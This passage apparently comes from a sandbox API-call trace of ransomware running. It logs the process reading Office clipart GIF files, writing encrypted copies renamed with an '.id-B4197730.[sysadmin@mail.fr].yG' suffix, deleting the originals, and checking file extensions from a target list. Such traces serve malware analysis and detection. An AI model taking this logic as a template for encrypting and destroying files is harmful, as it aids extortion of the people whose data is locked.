	[0051.571] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.571] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.571] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.571] CloseHandle (hObject=0x2e0) returned 1
	[0051.572] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.572] SetEndOfFile (hFile=0x394) returned 1
	[0051.572] CloseHandle (hObject=0x394) returned 1
	[0051.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1
	[0051.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.574] lstrlenW (lpString=".doc") returned 4
	[0051.574] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.574] lstrlenW (lpString=".docx") returned 5
	[0051.574] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.574] lstrlenW (lpString=".pdf") returned 4
	[0051.574] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.574] lstrlenW (lpString=".xls") returned 4
	[0051.574] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.574] lstrlenW (lpString=".xlsx") returned 5
	[0051.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.574] lstrlenW (lpString=".ppt") returned 4
	[0051.574] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.574] lstrlenW (lpString=".zip") returned 4
	[0051.574] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.574] lstrlenW (lpString=".rar") returned 4
	[0051.574] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.574] lstrlenW (lpString=".bz2") returned 4
	[0051.574] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.574] lstrlenW (lpString=".7z") returned 3
	[0051.574] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.574] lstrlenW (lpString=".dbf") returned 4
	[0051.574] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.574] lstrlenW (lpString=".1cd") returned 4
	[0051.574] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.574] lstrlenW (lpString=".jpg") returned 4
	[0051.574] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.574] lstrlenW (lpString=".doc") returned 4
	[0051.574] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.574] lstrlenW (lpString=".docx") returned 5
	[0051.575] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.575] lstrlenW (lpString=".pdf") returned 4
	[0051.575] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.575] lstrlenW (lpString=".xls") returned 4
	[0051.575] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.575] lstrlenW (lpString=".xlsx") returned 5
	[0051.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.575] lstrlenW (lpString=".ppt") returned 4
	[0051.575] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.575] lstrlenW (lpString=".zip") returned 4
	[0051.575] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.575] lstrlenW (lpString=".rar") returned 4
	[0051.575] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.575] lstrlenW (lpString=".bz2") returned 4
	[0051.575] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.575] lstrlenW (lpString=".7z") returned 3
	[0051.575] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.575] lstrlenW (lpString=".dbf") returned 4
	[0051.575] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.575] lstrlenW (lpString=".1cd") returned 4
	[0051.575] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0051.575] lstrlenW (lpString=".jpg") returned 4
	[0051.575] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.575] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.575] lstrlenW (lpString="AG00038_.GIF") returned 12
	[0051.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.576] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=3251) returned 1
	[0051.576] CloseHandle (hObject=0x394) returned 1
	[0051.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220
	[0051.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.576] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.576] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.576] GetLastError () returned 0x0
	[0051.576] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xcb3, lpOverlapped=0x0) returned 1
	[0051.615] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0051.616] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.616] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.616] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.616] CloseHandle (hObject=0x2e0) returned 1
	[0051.617] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.617] SetEndOfFile (hFile=0x394) returned 1
	[0051.618] CloseHandle (hObject=0x394) returned 1
	[0051.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1
	[0051.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.619] lstrlenW (lpString=".doc") returned 4
	[0051.619] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.619] lstrlenW (lpString=".docx") returned 5
	[0051.619] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.619] lstrlenW (lpString=".pdf") returned 4
	[0051.619] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.619] lstrlenW (lpString=".xls") returned 4
	[0051.619] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.619] lstrlenW (lpString=".xlsx") returned 5
	[0051.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.619] lstrlenW (lpString=".ppt") returned 4
	[0051.619] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.619] lstrlenW (lpString=".zip") returned 4
	[0051.619] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.619] lstrlenW (lpString=".rar") returned 4
	[0051.619] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.619] lstrlenW (lpString=".bz2") returned 4
	[0051.619] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.620] lstrlenW (lpString=".7z") returned 3
	[0051.620] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.620] lstrlenW (lpString=".dbf") returned 4
	[0051.620] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.620] lstrlenW (lpString=".1cd") returned 4
	[0051.620] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.620] lstrlenW (lpString=".jpg") returned 4
	[0051.620] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.620] lstrlenW (lpString=".doc") returned 4
	[0051.620] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.620] lstrlenW (lpString=".docx") returned 5
	[0051.620] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.620] lstrlenW (lpString=".pdf") returned 4
	[0051.620] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.620] lstrlenW (lpString=".xls") returned 4
	[0051.620] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.620] lstrlenW (lpString=".xlsx") returned 5
	[0051.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.620] lstrlenW (lpString=".ppt") returned 4
	[0051.620] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.620] lstrlenW (lpString=".zip") returned 4
	[0051.620] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.621] lstrlenW (lpString=".rar") returned 4
	[0051.621] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.621] lstrlenW (lpString=".bz2") returned 4
	[0051.621] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.621] lstrlenW (lpString=".7z") returned 3
	[0051.621] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.621] lstrlenW (lpString=".dbf") returned 4
	[0051.621] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.621] lstrlenW (lpString=".1cd") returned 4
	[0051.621] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0051.621] lstrlenW (lpString=".jpg") returned 4
	[0051.621] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.621] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.621] lstrlenW (lpString="AG00057_.GIF") returned 12
	[0051.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.623] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=11891) returned 1
	[0051.623] CloseHandle (hObject=0x2e0) returned 1
	[0051.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220
	[0051.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.625] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.625] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.625] GetLastError () returned 0x0
	[0051.625] ReadFile (in: hFile=0x2f4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x2e73, lpOverlapped=0x0) returned 1
	[0051.761] WriteFile (in: hFile=0x398, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x2e80, lpOverlapped=0x0) returned 1
	[0051.762] ReadFile (in: hFile=0x2f4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.762] WriteFile (in: hFile=0x398, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.762] SetEndOfFile (hFile=0x398) returned 1
	[0051.762] CloseHandle (hObject=0x398) returned 1
	[0051.763] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.763] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.764] CloseHandle (hObject=0x2f4) returned 1
	[0051.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1
	[0051.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.764] lstrlenW (lpString=".doc") returned 4
	[0051.764] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.765] lstrlenW (lpString=".docx") returned 5
	[0051.765] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.765] lstrlenW (lpString=".pdf") returned 4
	[0051.765] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.765] lstrlenW (lpString=".xls") returned 4
	[0051.765] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.765] lstrlenW (lpString=".xlsx") returned 5
	[0051.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.765] lstrlenW (lpString=".ppt") returned 4
	[0051.765] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.765] lstrlenW (lpString=".zip") returned 4
	[0051.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.765] lstrlenW (lpString=".rar") returned 4
	[0051.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.765] lstrlenW (lpString=".bz2") returned 4
	[0051.765] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.765] lstrlenW (lpString=".7z") returned 3
	[0051.765] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.765] lstrlenW (lpString=".dbf") returned 4
	[0051.765] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.765] lstrlenW (lpString=".1cd") returned 4
	[0051.765] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.765] lstrlenW (lpString=".jpg") returned 4
	[0051.765] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.765] lstrlenW (lpString=".doc") returned 4
	[0051.765] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.765] lstrlenW (lpString=".docx") returned 5
	[0051.765] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.765] lstrlenW (lpString=".pdf") returned 4
	[0051.765] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.765] lstrlenW (lpString=".xls") returned 4
	[0051.766] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.766] lstrlenW (lpString=".xlsx") returned 5
	[0051.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.766] lstrlenW (lpString=".ppt") returned 4
	[0051.766] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.766] lstrlenW (lpString=".zip") returned 4
	[0051.766] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.766] lstrlenW (lpString=".rar") returned 4
	[0051.766] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.766] lstrlenW (lpString=".bz2") returned 4
	[0051.766] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.766] lstrlenW (lpString=".7z") returned 3
	[0051.766] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.766] lstrlenW (lpString=".dbf") returned 4
	[0051.766] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.766] lstrlenW (lpString=".1cd") returned 4
	[0051.766] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0051.766] lstrlenW (lpString=".jpg") returned 4
	[0051.766] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.766] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.766] lstrlenW (lpString="AG00135_.GIF") returned 12
	[0051.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0051.769] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=2596) returned 1
	[0051.769] CloseHandle (hObject=0x348) returned 1
	[0051.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220
	[0051.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0051.769] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.769] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.770] GetLastError () returned 0x0
	[0051.770] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xa24, lpOverlapped=0x0) returned 1
	[0051.858] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xa30, lpOverlapped=0x0) returned 1
